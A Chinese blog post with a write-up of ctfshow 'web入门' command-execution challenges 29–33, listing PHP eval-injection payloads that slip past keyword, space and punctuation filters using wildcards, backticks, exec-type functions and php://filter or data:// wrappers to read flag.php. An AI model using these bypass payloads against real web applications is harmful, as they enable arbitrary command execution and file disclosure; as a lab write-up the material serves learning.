ctfshow web入门 命令执行29-33

1.web29

eval()函数是把所有字符串当作php代码去执行,这题过滤了flag,使用通配符绕过过滤应该要注意文件中没有重名的文件,或一部分是一样的文件

payload:

c=echo%20`nl f''lag.php`;  #官方解法,``反引号表示执行系统命令,nl为linux系统命令,是查看文件的意思
c=system("tac flag*");     #通配符*代表匹配所有字符
c=system("tac fla?????");  #?代表匹配一个字符

2.web30

这题过滤了system,php,flag等,虽然不能使用system去执行系统命令,但还有其他函数可以执行系统命令,如:exec、popen、passthru、shell_exec

payload:

c=echo `nl f''lag.php`;
c=echo exec("nl%20fla*");          #需要echo输出
c=echo shell_exec("nl%20fla*");    #需要echo输出
?c=passthru("nl%20fla*");

3.web31

这题过滤了system,php,flag,点,空格,单引号等

绕过空格的方法,常见:url编码:%09,%0a,%0b,<>,$IFS$9,可以使用burpsuite抓包从%00~%ff之间进行fuzz测试

第一个为官方解法

第二个类似

第三个,第四个通过传参的形式绕过过滤,第四个使用了文件包含伪协议

第五个利用括号和%09绕过空格

第一个解释:

show_source,highlight_file高亮显示文件,next是下一个元素。array_reverse是反向输出,pos是输出当前元素的值,localeconv是返回包含本地数字及货币格式信息的数组,scandir是列出指定路径的文件和目录,dirname是去掉文件名后的目录名,__FILE__表示当前文件的绝对路径

使用第一个时,首先查看目录下但前有哪些文件

c=print_r(scandir(dirname(__FILE__)));

利用array_reverse,next函数使当前目录只有flag.php

c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));

最后读取该目录下的文件源码

c=show_source(next(array_reverse(scandir(dirname(__FILE__)))));

payload:

c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=show_source(next(array_reverse(scandir(dirname(__FILE__)))));
c=eval($_GET[1]);&1=system('nl flag.php');
c=include($_GET[1])?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=echo(`nl%09fla?????`);

4.web32

这题又过滤了反引号,括号和分号

include可以不用括号,?>可以代替;

第一条是利用文件包含的php伪协议的php

第二条是利用文件包含的php伪协议的data

第三个官方解法,一样的思路

三个解法都是通过传参的方式绕过过滤的

payload:

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

5.web33

和web32一样

第三个为官方解法

payload:

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>
c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

参考文章:

(13条消息) [CTFSHOW]命令执行_ctfshow 命令执行_Y4tacker的博客-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值